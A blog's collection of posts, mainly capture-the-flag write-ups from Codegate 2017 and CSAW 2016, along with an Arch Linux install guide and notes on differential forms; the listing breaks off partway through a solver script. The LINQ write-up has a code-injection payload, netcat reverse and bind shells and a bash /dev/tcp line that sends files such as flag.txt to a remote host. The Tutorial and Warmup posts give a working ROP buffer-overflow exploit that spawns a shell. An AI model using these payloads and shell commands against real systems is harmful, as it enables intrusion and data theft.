Codegate 2017 Prequals – EasyCrack 101

We are presented with a zip file containing a bunch of ELF executables which serve as crackmes as well as a web server to submit the flags to each crackme. Doing some reverse engineering, we discover that one instruction always executed for correct inputs was main+0x50 and that the checking logic isn’t too complicated, so we can use tools like angr to find paths to that address. The only tricky part was determining which function was main, because the binaries were all stripped. We determine this by finding the only function that calls printf.

#! /usr/bin/env python2

import angr, sys

if len(sys.argv) != 2:
    print "give prob"
    sys.exit(0)

p = angr.Project(sys.argv[1])

# analyze and find main
cfg = p.analyses.CFGFast()

for addr,func in cfg.functions.iteritems():
    for site in func.get_call_sites():
        if cfg.functions[func.get_call_target(site)].name == "printf":
            main = func.addr
            # print "%x: main" % (main,)

arg = angr.claripy.BVS("arg", 100 * 8)
s = p.factory.path(args=[sys.argv[1], arg])
pg = p.factory.path_group(s)

pg.explore(find=main+80)
found = pg.found[0]
sol = found.state.se.any_str(arg)
repr(sol)
sol = sol[:sol.find("\x00")]
print sol

Put this with a script to automate the solving and submission of problems and you win.

#! /bin/bash

touch solutions.txt

lines=$(wc -l solutions.txt | cut -f1 -d' ')
next=$(echo $lines+1 | bc)

for i in $(seq $next 101); do
  sol=$(./solve.py ./prob$i 2>/dev/null)
  printf "./prob%-3d: %s\n" "$i" "$sol"
  printf "./prob%-3d: %s\n" "$i" "$sol" >> solutions.txt
  curl -X POST -b "PHPSESSID=[REDACTED]" -F "submit=Auth" -F "prob=$i" -F "key=$sol" "110.10.212.131:8777/auth.php" &>/dev/null
done

Flag: FLAG{Thank_U_4 s0lving_MY_Pr0b…[email protected]_vEry_genius!!!}

Posted in CTF | Leave a comment

Arch Linux Install Guide For EFI Systems

Because nobody seems to know how to actually install Arch, here’s a brief guide.

Setup:
You need a machine to install Arch on. You also need a version of the Arch installation disk on some bootable medium. You can see what versions are available here. Create the bootable medium however you would like, e.g. by burning the iso onto a CD or a USB stick. Make sure that it is labelled properly, e.g. `ARCH_YYYYMM’. You should now be able to boot to your USB stick given that BIOS settings such as secure boot have been turned off. Make sure you have a working internet connection. Otherwise, run `# wifi-menu’ to connect via wireless.

Partitioning:
To properly do EFI, we need at least two partitions. An EFI partition and a root partition. The EFI partition should be mounted at /boot. If not, you will have to do the manual task of copying your initramfs images over to wherever you mounted your EFI partition after every kernel update. So just use /boot to save yourself some time. Then mount everything wherever you want it to be. Note: if you have a /usr partition, you should add the usr, fsck, and shutdown hooks to /etc/mkinitcpio.conf after installation. See the configuration file for any other things you may need to do for non-standard configurations.

Installation:
Edit /etc/pacman.d/mirrorlist and put whatever mirror you want to use at the front. I tend to use mirrors.kernel.org. Then, assuming you mounted your root filesystem at /mnt, we can do `# pacstrap base /mnt’. Usually it is also a good idea to include base-devel with `# pacstrap base base-devel /mnt’, but if you aren’t going to build anything and just want a working system base is the bare minimum.

Configuration:
After installing the base system, it’s usually nice to configure some things. We should probably tell the system how to mount our partitions. Run `# genfstab -U /mnt >> /mnt/etc/fstab’ to write your partition (and mount) scheme to the file the loader reads to mount everything. Run `# arch-chroot /mnt’ to run a script that sets up some nice symlinks and chroots into your installation. Set the hostname by writing to /etc/hostname. Set the timezone and configure NTP with timedatectl(1). Edit /etc/locale.gen to and run `# locale-gen’ to generate some locales, and write locale.conf(5) to set the default locale. Also make sure to set a root password.

Installing a bootloader:
Follow the instructions on the Arch Wiki for this. For example, for systemd-boot, we would run `# bootctl install’, and setup /boot/loader/loader.conf and /boot/loader/entries/arch.conf by looking at examples in /usr/share/systemd/bootctl. For GRUB, we would do `# grub-install –target=x86_64-efi –efi-directory=/boot –bootloader-id=grub –debug’ and a `# grub-mkconfig -o /boot/grub/grub.cfg’.

Reboot:
Unmount and reboot. Your system should now be working.

Posted in Software | Leave a comment

CSAW Finals 2016 – Cookie Math (250)

We are given a binary that does some math. The program checks a 30 byte string and some things are XOR’d while some are not. We solve this by doing some math. We can get a list of potential XOR candidates and a set of equations by examining the binary. The result looks something like:

+5:  a
+9:  b
+13: c
+17: d
+21: e
+25: f
c + e = 0xE1D4E090 -- 0xB93E4867
f + e = 0x94E860D0 -- 0xB9F7A2FF
b + e = 0xCDD6D8C1 -- 0x7E3C14CD
a + d = 0x93E1A69F -- 0x21DDC691
b + c = 0xCD929799 -- 0x65AAFD58
d + e = 0x9FA6CFD3 -- 0x372f660E
d + c = 0xA490E3A5 -- 0xCBFF9345
        flag{....} -- 0x35E4EEBF
f + a = 0x55DC64D0 -- 0x453057E3
f + d = 0x5261E2D3 -- 0xE8D28FD7
b + d = 0xCDD8A69F -- 0xCE71DD4A
a + f = 0x5497E5C0 -- 0xC30B088B
c + a = 0x939b9799 -- 0xB2C58526
e + a = 0xA1DCD2C0 -- 0xA47E904C
b + f = 0x8FD364D0 -- 0x4D663570
b + a = 0x92C8DEC3 -- 0x5F3CEEE9
c + f = 0x80A79399 -- 0xBD87BD77

We can determine which things to XOR by computing all possible XOR states and choosing the one that works.

import Control.Monad
import Data.Bits

v :: [Int]
v = [ 0xB93E4867, 0xB9F7A2FF, 0x7E3C14CD, 0x21DDC691, 0x65AAFD58, 0x372f660E
    , 0xCBFF9345, 0x35E4EEBF, 0x453057E3, 0xE8D28FD7, 0xCE71DD4A, 0xC30B088B
    , 0xB2C58526, 0xA47E904C, 0x4D663570, 0x5F3CEEE9, 0xBD87BD77 ]

powerset :: [a] -> [[a]]
powerset = filterM (const [True, False])

psv = powerset v

stuff = zip psv $ foldr xor 0 <$> powerset v
sol = filter (\(a, b) -> b == 0xDEADBEA7) stuff
-- result: [0xB93E4867, 0x7E3C14CD, 0x372F660E, 0xCBFF9345, 0x35E4EEBF, 0xE8D28FD7, 0xC30B088B, 0xA47E904C, 0x5F3CEEE9]

We then filter our equations and solve.

c + e = 0xE1D4E090
b + e = 0xCDD6D8C1
d + e = 0x9FA6CFD3
        flag{....}
f + d = 0x5261E2D3
a + f = 0x5497E5C0
e + a = 0xA1DCD2C0
b + a = 0x92C8DEC3
a = 0x33676c61
b = 0x5f617262
c = 0x735f7a31
d = 0x31316974
e = 0x6e75665f
f = 0x2130795f
"flag{" + "616c67336272615f317a5f73746931315f66756e5f793021".decode("hex") + "}"
"flag{alg3bra_1z_sti11_fun_y0!}"
Posted in CTF | Leave a comment

CSAW Finals 2016 – LINQ To The Present (100)

We are presented with a .NET binary, and the hint says that we should consider this being run under Mono in a linux system. We disassemble the program using MonoDevelop and get:

using System;
using System.Collections.Generic;
using System.Linq.Dynamic;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;

namespace linq_to_t
{
  public class handleClinet
  {
    //
    // Fields
    //
    private TcpClient clientSocket;

    private string clNo;

    //
    // Methods
    //
    private void doChat ()
    {
      byte[] array = new byte[10025];
      string str = null;
      Message[] source = new Message[] {
        new Message ("Hilary", "Donald", "You are going down!", DateTime.Now, 1, IPAddress.Parse ("127.0.0.1")),
        new Message ("Donald", "Hilary", "Oh I don't think so. My polls are HUUUUGGEEE.", DateTime.Now, 2, IPAddress.Parse ("127.0.0.1")),
        new Message ("Hilary", "Donald", "Nice chat!", DateTime.Now, 3, IPAddress.Parse ("127.0.0.1")),
        new Message ("Donald", "Hilary", "Bye loser.", DateTime.Now, 4, IPAddress.Parse ("127.0.0.1")),
        new Message ("Hilary", "Donald", "No, you are the loser.", DateTime.Now, 5, IPAddress.Parse ("127.0.0.1"))
      };
      try {
        NetworkStream stream = this.clientSocket.GetStream ();
        stream.Read (array, 0, 2048);
        string text = Encoding.ASCII.GetString (array);
        text = text.Replace ("
", string.Empty).Trim (new char[1]);
        Console.WriteLine (" >> From client-" + this.clNo + text);
        IEnumerable<Message> enumerable = source.Where ("Text = " + text, new object[0]);
        foreach (Message current in enumerable) {
          byte[] bytes = Encoding.ASCII.GetBytes (string.Concat (new string[] {
            current.Sender,
            " -> ",
            current.Receiver,
            ": ",
            current.Text
          }));
          stream.Write (bytes, 0, bytes.Length);
          stream.Flush ();
        }
        Console.WriteLine (" >> " + str);
      }
      catch (Exception ex) {
        Console.WriteLine (" >> " + ex.ToString ());
      }
      this.clientSocket.Close ();
    }

    public void startClient (TcpClient inClientSocket, string clineNo)
    {
      this.clientSocket = inClientSocket;
      this.clNo = clineNo;
      Thread thread = new Thread (new ThreadStart (this.doChat));
      thread.Start ();
    }
  }
}

So we can do very SQL-ish things here because + Text is not surrounded by quotes, so submitting something like Text prints all of the messages while submitting "Nice chat!" only prints the one message. We then employ techniques from escaping python jails in an attempt to escape from the linq jail where our where clause input lives in. The goal is to eventually call System.Diagnostics.Process.Start("<command>", "<arguments>"), but our only way in is via reflection, and we have no way of creating arrays inside linq, so we employ a nice trick with strings: we can split them. MethodBase.Invoke(null, "command;arguments".Split(";".ToCharArray())) should suffice.

To obtain a MethodBase, we simply examine Object.GetType().GetMethods(), or in our case, we want System.AppDomain.CreateInstanceAndUnwrap to get an instance of System.Diagnostics.Process, which is accessible via "".GetType().Assembly.GetType("System.AppDomain").GetMethods()[18]. After reading up a bit on what sorts of things CreateInstanceAndUnwrap wants, we get the following payload:

// filter to spawn only 1 process, creates an instance of System.Diagnostics.Process and calls Start
"Nice chat!" && Text != "".GetType().Assembly.GetType("System.AppDomain").GetMethods()[18].Invoke("".GetType().Assembly.GetType("System.AppDomain").GetProperty("CurrentDomain").GetValue(null), "System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;System.Diagnostics.Process".Split(";".ToCharArray())).GetType().GetMethods()[80].Invoke(null, "command;arguments".Split(";".ToCharArray()))

The final step is figuring out which command to run. The first guess was to spawn either a remote listen shell or a reverse shell to our machine. This could be done with

# listen shell
nc -l -p 24245 -e /bin/bash  # linq
nc web.chal.csaw.io 24245    # us
# reverse shell
nc -l -p 24245 -e /bin/bash  # us
nc 216.165.52.116 24245      # linq, 216.165.52.116 is our ip on CSAWnet

Unfortunately, this only worked locally and not on the remote (likely due to permissions). Next, we discovered the following bash special functionality:

Bash handles several filenames specially when they are used in redirections, as described in the following table:

       /dev/fd/fd
              If fd is a valid integer, file descriptor fd is duplicated.
       /dev/stdin
              File descriptor 0 is duplicated.
       /dev/stdout
              File descriptor 1 is duplicated.
       /dev/stderr
              File descriptor 2 is duplicated.
       /dev/tcp/host/port
              If host is a valid hostname or Internet address, and port is an integer port number or service name, bash attempts to open the corresponding TCP socket.
       /dev/udp/host/port
              If host is a valid hostname or Internet address, and port is an integer port number or service name, bash attempts to open the corresponding UDP socket.

so we can get direct command output via

bash -c 'command arguments > /dev/tcp/216.165.52.116/24245'

to send stuff to our listen server on port 24245.

The rest is done locally, because I can no longer connect to the challenge server. After starting a local server on port 8888, we can do the following.

$ nc localhost 8888
"Nice chat!" && Text != "".GetType().Assembly.GetType("System.AppDomain").GetMethods()[18].Invoke("".GetType().Assembly.GetType("System.AppDomain").GetProperty("CurrentDomain").GetValue(null), "System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;System.Diagnostics.Process".Split(";".ToCharArray())).GetType().GetMethods()[80].Invoke(null, "/bin/bash;-c 'ls -al > /dev/tcp/localhost/24245'".Split(";".ToCharArray()))
$ nc localhost 8888
"Nice chat!" && Text != "".GetType().Assembly.GetType("System.AppDomain").GetMethods()[18].Invoke("".GetType().Assembly.GetType("System.AppDomain").GetProperty("CurrentDomain").GetValue(null), "System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;System.Diagnostics.Process".Split(";".ToCharArray())).GetType().GetMethods()[80].Invoke(null, "/bin/bash;-c 'cat flag.txt > /dev/tcp/localhost/24245'".Split(";".ToCharArray()))
# in another shell...
$ ncat -l -p 24245 -k -v
Ncat: Version 7.31 ( https://nmap.org/ncat )
Ncat: Listening on :::24245
Ncat: Listening on 0.0.0.0:24245
Ncat: Connection from ::1.
Ncat: Connection from ::1:49454.
total 72
drwxr-xr-x 2 incertia users  4096 Nov 13 12:34 .
drwxr-xr-x 3 incertia users  4096 Nov 13 12:32 ..
-rw-r--r-- 1 incertia users    36 Nov 13 12:34 flag.txt
-rwxr-xr-x 1 incertia users  6144 Nov 13 12:32 linq_to_the_present.exe
-rw-r--r-- 1 incertia users 49664 Nov 13 12:32 System.Linq.Dynamic.dll
Ncat: Connection from ::1.
Ncat: Connection from ::1:49458.
flag{run_against_the_actual_server}

and we win.

Posted in CTF | Leave a comment

Pullbacks of Differential Forms

Let f : M \to N be a smooth map between manifolds and let \phi be a smooth k-form on N. We have the natural push forward/total differential f_* = df : TM \to TN given by df(v_p) = (f \circ \alpha)'(0), where \alpha : I \to M is a curve satisfying \alpha(0) = p and \alpha'(0) = v, but this also gives a natural way to pull back differential forms from N back to M.
Define f^* : \Omega^k (N) \to \Omega^k (M) by f^*(\phi)(v_{p, 1}, \dots, v_{p, k}) = \phi(f_*(v_{p, 1}), \dots, f_*(v_{p, k})), which totally doesn’t look like it’s doing much, but this is precisely what gives is the tools to integrate differential forms on manifolds.

For example, suppose I have a curve f : I \to M and a smooth 1-form \phi on M. Then

    \[ \int_{f(I)} \phi = \int_I f^*(\phi) = \int_I \phi(f'(t)) \, dt, \]

which essential means that we can integrate any 1-form on any manifold by looking at how it behaves in our local copy of \RR on the manifold. Pretty neat, right?

Posted in Math | Leave a comment

A Bad Attempt At Connecting Differential Forms And Multivariable Calculus

So after taking MVC, we’ve all been through those tedious proofs that \nabla \times \nabla F = 0 and \nabla \cdot \left( \nabla \times F \right) = 0. Here, we give a unified way to view these identities.

We start by giving the notion of a tangent space of a point in \RR^n, which is a vector at that point. Denote this with T_p \RR^n = \lbrace (p, \vec{v}) : \vec{v} \in \RR^n \rbrace, which also has the convenient notation (p, \vec{v}) \equiv v_p. We can then take the union of all these tangent spaces and call it the tangent bundle \displaystyle{T \RR^n = \bigcup_{p \in \RR^n} T_p \RR^n}.

We can view tangent vectors and vector fields as differential operators for a function. The directional derivative of a C^1 function at a point p in direction v is v_p[f] = g'(0), where g(t) = f(p + tv). After some crunching, we arrive at

    \[ v_p[f] = \langle v, \nabla f(p) \rangle. \]

We then naturally extend this to vector fields, namely (Vf)(p) = V(p)[f].

Now we can talk about differential forms. Recall that the total differential of a function f : \RR^3 \to \RR is

    \[ df = \frac{\partial f}{\partial x} dx + \frac{\partial f}{\partial y} dy + \frac{\partial f}{\partial z} dz. \]

We now define a differential 1-form to be a function \varphi : T \RR^n \to \RR such that when we restrict \varphi to a certain point p and consider \varphi_p : T_p \RR^n \to \RR, \varphi_p is a linear functional. It turns out that we can equip 1-forms with function coefficients. If \varphi is a 1-form, then (f \varphi)(v_p) = f(p) \varphi(v_p). We also let the standard set of differential 1-forms to be the set of functions dx_i((v_1, v_2, \dots, v_n)_p) = v_i, so in \RR^3, dy(v_p) reads out the 2nd coordinate of v. Then the total differential becomes a very natural 1-form.

If we have 1-forms, what about what about 0-forms and 2-forms? We can naively let 0-forms be the set of functions, and higher dimensional forms to be some kind of product of lower dimensional forms, with some sort of derivative operation that moves from one form space to the next. It turns out that when we do this, we get a lot of nice things. We can define a new product of differential forms, called the wedge product, such that df \wedge dg = -dg \wedge df, and takes in more tangent vectors and linear in each component when you fix a point. Then if \varphi = f \, dx + g \, dy + h \, dz is a 1-form, we can write d \varphi = df \wedge dx + dg \wedge dy + dh \wedge dz, and define analogously for higher dimensional spaces (here we took n = 3) and forms. If we crunch out the products, we learn that d^2 = 0, or if \varphi is a differential form, then d(d\varphi) = 0. From this, we can construct an interesting diagram.

Rendered by QuickLaTeX.com

where

    \[ \begin{aligned} f_1(f) &= f \\ f_2(x, y, z) &= x \, dx + y \, dy + z \, dz \\ f_3(x, y, z) &= z \, dx \wedge dy + x \, dy \wedge dz + y \, dz \wedge dx \\ f_4(f) &= f \, dx \wedge dy \wedge dz. \\ \end{aligned} \]

are isomorphisms and \Omega^n denotes the space of n-forms.

Construct a similar chain of morphisms to get good at n-dimensional calculus where n > 3.

Posted in Math | Leave a comment

CSAW Quals 2016 – Tutorial (200)

We are given a binary with a libc, so our first guess should be some ret2libc ROP attack. We are also given a very nice buffer overflow in practice().
We can get the address of something in libc by checking the manual.

Next, we examine practice, as this is where we are supposedly going to test our exploit.

If our buffer is short enough, we leak the stack cookie as well! The only problem here is that the server makes direct connections instead of running via socat(1) like most challenges. At first, I was not aware that glibc system call wrappers would not clobber registers, and did not envision that the socket file descriptor would be constant, so we pursued a bind shell that we would be able to connect to (system(“netcat -lp 4276 -e /bin/sh”)), but it turns out that there were not enough extra bytes in the stack overflow.

After debugging in gdb (it is useful to nop out the alarm() syscall here) on our local libc (it just crashes with LD_PRELOAD), we discovered that glibc does not clobber registers. In fact, syscall(2) even states, “syscall() saves CPU registers before making the system call, restores the registers upon return from the system call, and stores any error code returned by the system call in errno(3) if an error occurs”. Luckily, we have our socket file descriptor in a register due to the previous write call, so we can just load 0 and 1 into rsi and dup2 twice before doing system(“/bin/sh”).

Our final script looks like

#! /usr/bin/env python2

from socket import *
from pwn import *
import struct

s = remote("pwn.chal.csaw.io", 8002)
print s.recvuntil(">")
s.send("1")
ref = s.recvuntil(">")

libc_base = ref.split('\n')[0][10:]
print "puts:      " + libc_base
libc_base = int(libc_base, 16)
libc_base += 1280
libc_base -= 0x6fd60

off_system = 0x46590
off_dup2   = 0xebe90
off_binsh  = 0x17c8c3
off_poprdi = 0x22b9a
off_poprsi = 0x24885

# 0xe3177: mov rax, qword ptr [rdx] ; mov qword ptr [rdx], rdi ; ret
off_storedata = 0x2c46c
off_data   = 0x398620

system  = struct.pack("<Q", libc_base + off_system)
dup2    = struct.pack("<Q", libc_base + off_dup2)
binsh   = struct.pack("<Q", libc_base + off_binsh)
poprdi  = struct.pack("<Q", libc_base + off_poprdi)
poprsi  = struct.pack("<Q", libc_base + off_poprsi)

storedata = struct.pack("<Q", libc_base + off_storedata)
storage = libc_base + off_data

print "libc:      " + struct.pack("<Q", libc_base).encode("hex")
print "system:    " + system.encode("hex")
print "binsh:     " + binsh.encode("hex")
print "poprdi:    " + poprdi.encode("hex")
print "poprsi:    " + poprsi.encode("hex")

print ref
s.send("2")
print s.recvuntil(">")
s.send("a")
cs = s.recvuntil(">")
print cs[0:312].encode("hex")
print cs[312:320].encode("hex")
cookie = cs[312:320]

print "cookie: " + cookie.encode("hex")

s.send("2")
print s.recvuntil(">")

payload = ""
payload += "A" * 312 # buffer
payload += cookie    # stack cookie
payload += "B" * 8   # saved rbp

# dup2(fd, 0)
payload += poprsi
payload += struct.pack("<Q", 0)
payload += dup2

# dup2(fd, 1)
payload += poprsi
payload += struct.pack("<Q", 1)
payload += dup2

# /bin/sh
payload += poprdi
payload += binsh
payload += system

# print "payload: " + payload.encode("hex")
print "sending payload..."
s.send(payload)
s.interactive()

Great! Now let’s run it.

$ ./solve.py
[+] Opening connection to pwn.chal.csaw.io on port 8002: Done
-Tutorial-
1.Manual
2.Practice
3.Quit
>
puts:      0x7fad235d3860
libc:      00405623ad7f0000
system:    90a55a23ad7f0000
binsh:     c3086e23ad7f0000
poprdi:    9a6b5823ad7f0000
poprsi:    85885823ad7f0000
Reference:0x7fad235d3860
-Tutorial-
1.Manual
2.Practice
3.Quit
>
Time to test your exploit...
>
610000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00b19867905dc970
cookie: 00b19867905dc970
Time to test your exploit...
>
sending payload...
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\xb1\x98g\x90]BBBB$  ls
flag.txt
tutorial
tutorial.c
$ cat flag.txt
FLAG{3ASY_R0P_R0P_P0P_P0P_YUM_YUM_CHUM_CHUM}
$ exit
[*] Got EOF while reading in interactive
$
[*] Closed connection to pwn.chal.csaw.io port 8002
Posted in CTF | Leave a comment

CSAW Quals 2016 – Warmup (50)

This is very clearly a buffer overflow to ROP.

Where easy = system(“cat flag.txt”)

$ perl -e 'print "A"x72; print "\x11\x06\x40\x00\x00\x00\x00\x00";' | nc pwn.chal.csaw.io 8000
FLAG{LET_US_BEGIN_CSAW_2016}

Here we ROP into the middle of easy, before the system call, but you can ROP into the start of easy as well.

Posted in CTF | Leave a comment

CSAW Quals 2016 – Tar Tar Binks (400)

We are given a broken tar file and a dylib that was used to produce the archive. We can try to extract the tarball.

$ tar -xf flag.tar
tar: This does not look like a tar archive
tar: Skipping to next header
tar: Exiting with failure status due to previous errors
$ cat flag.txt
F5D1,4D6B,ED6A,08A6,38DD,F7FA,609E,EBC4,E55F,E6D1,7C89,ED5B,0871,1A69,5D58,72DE,224B,3AA6,0845,7DD6,58FB,E9CC,0A2D,76B8,ED60,251A,1F6B,32CC,E78D,12FA,201A,E889,2D25,922A,4BC5,F5FF,F8E5,C79B,3A77,4BDB,EA11,5941,58BD,3A95,F5C9,A225,AD40,F8BD,095D,70B6,458C,E7A9,EA68,252F,094B,5E41,0969,6015,5ED5,F6E5,59B9,7CAF,66DF,265B,7837,57B4,7CAF,AED9,F707,6A3C,F8E5,F509,7C8B,0915,2235,336F,33E9,2D14,7C91,5804,83E5,E78D,F4EA,0874,ED6B,4B35,E839,57B4,E77C,EA68,2525,AD41,ED6F,3A4A,4BCC,6015,F440,0858,3AA6,7809,671D,0874,EA77,63AF,2E91,5845,F6C4,086D,7795,3939,57B4,7C89,82DC,32ED,B994,C7AF,9135,0E65,1B66,ED5B,3235,6577,5A80,3AD3,E776,1EE5,AD41,ED59,864C,70B4,3876,ED67,64D6,F8E5,F505,EAD9,7C9C,32ED,B994,B4EF,0C6C,F665,F5F5,9047,521A,E99E,EA68,252F,9D09,76B7,E776,1ED0,095D,0D4D,5D5A,087B,2005,1526,7E76,85AD,78B9,E8B6,782C,251C,32ED,7F68,EBE3,EA41,57FD,ED59,846D,7A05,B994,BB78,ED6A,08A6,38DD,3B5D,7E45,E839,738C,E9CC,0A2D,764A,609E,E8B6,EA68,2524,E6BB,7C9C,639F,3A95,0895,F40F,8328,EA69,7EE5,F8BD,7F7D,0D6D,70B6,458C,E8B6,EA68,251C,6065,B35F,C789,5845,7F7D,6D89,4C6E,A20E,60B5,7E45,ED59,F707,69EF,922A,4BC5,F6EF,8635,F4B9,57B4,7CF8,ED60,2510,095D,20AF,3545,F40F,8328,EA41,58A4,225D,7E7C,4BDB,F8BD,082C,EAE7,5D57,5D50,0914,E7C7,8624,7CF8,ED60,2511,7C8E,7159,8416,7EF9,E7E5,774A,3895,1EC9,7C90,09B9,58BD,5FF5,E99E,EA68,250A,224C,EA3D,73F5,7C89,53A6,3190,3B5D,1526,7DD5,666A,0919,225F,CDEF,79E1,7E7B,7E6B,082C,A277,E885,E8BB,E775,5FF7,EA68,251B,7FDF,589D,7A05,779A,8A5A,7C91,5D5C,32ED,F628,2195,F49A,0C77,EAE1,59B9,58BD,E570,E99E,EA3D,73F9,13AD,2BF5,225D,7F7D,70B6,4A9C,337A,1EC9,4D05,7E75,2578,ED59,38E5,1ECA,A210,3B5D,779A,8A6F,C790,2518,4B41,7C89,5D49,4D05,152D,73C5,79F9,4BED,913C,37C9,5D4D,53C8,0941,7C97,5D5B,346A,82D8,5F36,801F,C800,

We see that output is some repeated format of “XXXX,”, where X stands for a hex character. Whatever is printing this seems to print the comma unconditionally, so we see if there are any decent strings with a comma in libarchive.dylib.

$ strings libarchive.dylib | grep ','
...
%04X,
...

Nice! So now we have a place to start reversing with. We open up libarchive.dylib in IDA, search strings for “%04X,”, discover it is only used in one place, and start disassembling there.

So we loop through some array called sub_101 and print out its values. Going through references to sub_101, we see that it is actually filled in via the update_sub_101 function (renamed after discovering it), so let’s reverse that and see what we find.

So what does really_update_sub_101 do? It takes an array of 3 integers and computes a base 40 sum.

And what about get_digit?

In the end, what this is essentially doing is taking some input string, looking up it’s position in ctable, and storing that into an array that encodes it as some base 40 numbers. If it’s in the second half (39 + i), we store [39, i] and if it’s in the first half (i), we just store [i]. We write every time we have 3 base 40 numbers and at the end, we append zeros until we have 3 base 40 digits. We now just undo the logic and print the result.

#! /usr/bin/env python2

v = [0xF5D1, 0x4D6B, 0xED6A, 0x08A6, 0x38DD, 0xF7FA, 0x609E, 0xEBC4, 0xE55F,
     0xE6D1, 0x7C89, 0xED5B, 0x0871, 0x1A69, 0x5D58, 0x72DE, 0x224B, 0x3AA6,
     0x0845, 0x7DD6, 0x58FB, 0xE9CC, 0x0A2D, 0x76B8, 0xED60, 0x251A, 0x1F6B,
     0x32CC, 0xE78D, 0x12FA, 0x201A, 0xE889, 0x2D25, 0x922A, 0x4BC5, 0xF5FF,
     0xF8E5, 0xC79B, 0x3A77, 0x4BDB, 0xEA11, 0x5941, 0x58BD, 0x3A95, 0xF5C9,
     0xA225, 0xAD40, 0xF8BD, 0x095D, 0x70B6, 0x458C, 0xE7A9, 0xEA68, 0x252F,
     0x094B, 0x5E41, 0x0969, 0x6015, 0x5ED5, 0xF6E5, 0x59B9, 0x7CAF, 0x66DF,
     0x265B, 0x7837, 0x57B4, 0x7CAF, 0xAED9, 0xF707, 0x6A3C, 0xF8E5, 0xF509,
     0x7C8B, 0x0915, 0x2235, 0x336F, 0x33E9, 0x2D14, 0x7C91, 0x5804, 0x83E5,
     0xE78D, 0xF4EA, 0x0874, 0xED6B, 0x4B35, 0xE839, 0x57B4, 0xE77C, 0xEA68,
     0x2525, 0xAD41, 0xED6F, 0x3A4A, 0x4BCC, 0x6015, 0xF440, 0x0858, 0x3AA6,
     0x7809, 0x671D, 0x0874, 0xEA77, 0x63AF, 0x2E91, 0x5845, 0xF6C4, 0x086D,
     0x7795, 0x3939, 0x57B4, 0x7C89, 0x82DC, 0x32ED, 0xB994, 0xC7AF, 0x9135,
     0x0E65, 0x1B66, 0xED5B, 0x3235, 0x6577, 0x5A80, 0x3AD3, 0xE776, 0x1EE5,
     0xAD41, 0xED59, 0x864C, 0x70B4, 0x3876, 0xED67, 0x64D6, 0xF8E5, 0xF505,
     0xEAD9, 0x7C9C, 0x32ED, 0xB994, 0xB4EF, 0x0C6C, 0xF665, 0xF5F5, 0x9047,
     0x521A, 0xE99E, 0xEA68, 0x252F, 0x9D09, 0x76B7, 0xE776, 0x1ED0, 0x095D,
     0x0D4D, 0x5D5A, 0x087B, 0x2005, 0x1526, 0x7E76, 0x85AD, 0x78B9, 0xE8B6,
     0x782C, 0x251C, 0x32ED, 0x7F68, 0xEBE3, 0xEA41, 0x57FD, 0xED59, 0x846D,
     0x7A05, 0xB994, 0xBB78, 0xED6A, 0x08A6, 0x38DD, 0x3B5D, 0x7E45, 0xE839,
     0x738C, 0xE9CC, 0x0A2D, 0x764A, 0x609E, 0xE8B6, 0xEA68, 0x2524, 0xE6BB,
     0x7C9C, 0x639F, 0x3A95, 0x0895, 0xF40F, 0x8328, 0xEA69, 0x7EE5, 0xF8BD,
     0x7F7D, 0x0D6D, 0x70B6, 0x458C, 0xE8B6, 0xEA68, 0x251C, 0x6065, 0xB35F,
     0xC789, 0x5845, 0x7F7D, 0x6D89, 0x4C6E, 0xA20E, 0x60B5, 0x7E45, 0xED59,
     0xF707, 0x69EF, 0x922A, 0x4BC5, 0xF6EF, 0x8635, 0xF4B9, 0x57B4, 0x7CF8,
     0xED60, 0x2510, 0x095D, 0x20AF, 0x3545, 0xF40F, 0x8328, 0xEA41, 0x58A4,
     0x225D, 0x7E7C, 0x4BDB, 0xF8BD, 0x082C, 0xEAE7, 0x5D57, 0x5D50, 0x0914,
     0xE7C7, 0x8624, 0x7CF8, 0xED60, 0x2511, 0x7C8E, 0x7159, 0x8416, 0x7EF9,
     0xE7E5, 0x774A, 0x3895, 0x1EC9, 0x7C90, 0x09B9, 0x58BD, 0x5FF5, 0xE99E,
     0xEA68, 0x250A, 0x224C, 0xEA3D, 0x73F5, 0x7C89, 0x53A6, 0x3190, 0x3B5D,
     0x1526, 0x7DD5, 0x666A, 0x0919, 0x225F, 0xCDEF, 0x79E1, 0x7E7B, 0x7E6B,
     0x082C, 0xA277, 0xE885, 0xE8BB, 0xE775, 0x5FF7, 0xEA68, 0x251B, 0x7FDF,
     0x589D, 0x7A05, 0x779A, 0x8A5A, 0x7C91, 0x5D5C, 0x32ED, 0xF628, 0x2195,
     0xF49A, 0x0C77, 0xEAE1, 0x59B9, 0x58BD, 0xE570, 0xE99E, 0xEA3D, 0x73F9,
     0x13AD, 0x2BF5, 0x225D, 0x7F7D, 0x70B6, 0x4A9C, 0x337A, 0x1EC9, 0x4D05,
     0x7E75, 0x2578, 0xED59, 0x38E5, 0x1ECA, 0xA210, 0x3B5D, 0x779A, 0x8A6F,
     0xC790, 0x2518, 0x4B41, 0x7C89, 0x5D49, 0x4D05, 0x152D, 0x73C5, 0x79F9,
     0x4BED, 0x913C, 0x37C9, 0x5D4D, 0x53C8, 0x0941, 0x7C97, 0x5D5B, 0x346A,
     0x82D8, 0x5F36, 0x801F, 0xC800]

ctable = "\x00abcdefghijklmnopqrstuvwxyz0123456789 \n\x00ABCDEFGHIJKLMNOPQRSTUVWXYZ([email protected]#,.?/*)<>"

